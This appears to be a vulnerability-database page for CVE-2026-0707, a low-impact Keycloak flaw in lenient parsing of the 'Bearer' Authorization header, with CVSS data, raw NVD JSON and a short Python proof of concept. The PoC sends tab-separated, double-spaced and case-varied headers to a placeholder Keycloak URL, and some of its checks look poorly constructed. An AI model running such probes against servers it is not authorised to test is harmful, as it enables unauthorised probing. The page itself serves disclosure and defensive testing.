Security Vulnerability Report
中文
CVE-2026-0707 CVSS 5.3 MEDIUM

CVE-2026-0707

Published: 2026-01-08 04:15:57
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in Keycloak. The Keycloak Authorization header parser is overly permissive regarding the formatting of the "Bearer" authentication scheme. It accepts non-standard characters (such as tabs) as separators and tolerates case variations that deviate from RFC 6750 specifications.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak < 24.0.5
Keycloak < 23.0.7
Keycloak < 22.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-0707 PoC - Keycloak Authorization Header Parser Bypass # This PoC demonstrates the overly permissive parsing of Bearer tokens TARGET_URL = "http://target-keycloak-server/auth/realms/master/protocol/openid-connect/token" VALID_TOKEN = "eyJh..." # Replace with a valid token def test_malformed_authorization_header(): """ Test various non-standard Authorization header formats that should be rejected but are accepted by vulnerable Keycloak """ headers = { "Authorization": "Bearer\t" + VALID_TOKEN # Tab as separator } try: response = requests.post(TARGET_URL, headers=headers) print(f"[+] Test 1 - Tab separator: Status {response.status_code}") except Exception as e: print(f"[-] Test 1 failed: {e}") def test_case_variation(): """ Test case variations of 'Bearer' keyword RFC 6750 requires exact case match """ case_variations = ["BEARER", "bearer", "BeArEr", "BEARER "] for variation in case_variations: headers = { "Authorization": variation + VALID_TOKEN } try: response = requests.post(TARGET_URL, headers=headers) print(f"[+] Test '{variation}': Status {response.status_code}") except Exception as e: print(f"[-] Test '{variation}' failed: {e}") def test_multiple_spaces(): """ Test multiple spaces as separator RFC 6750 specifies single space """ headers = { "Authorization": "Bearer " + VALID_TOKEN # Double space } try: response = requests.post(TARGET_URL, headers=headers) print(f"[+] Test - Multiple spaces: Status {response.status_code}") except Exception as e: print(f"[-] Test failed: {e}") if __name__ == "__main__": print("CVE-2026-0707 Keycloak Authorization Header Parser Test") print("=" * 60) test_malformed_authorization_header() test_case_variation() test_multiple_spaces()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0707", "sourceIdentifier": "[email protected]", "published": "2026-01-08T04:15:56.520", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. The Keycloak Authorization header parser is overly permissive regarding the formatting of the \"Bearer\" authentication scheme. It accepts non-standard characters (such as tabs) as separators and tolerates case variations that deviate from RFC 6750 specifications."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-551"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:3947", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:3948", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-0707", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2427768", "source": "[email protected]"}]}}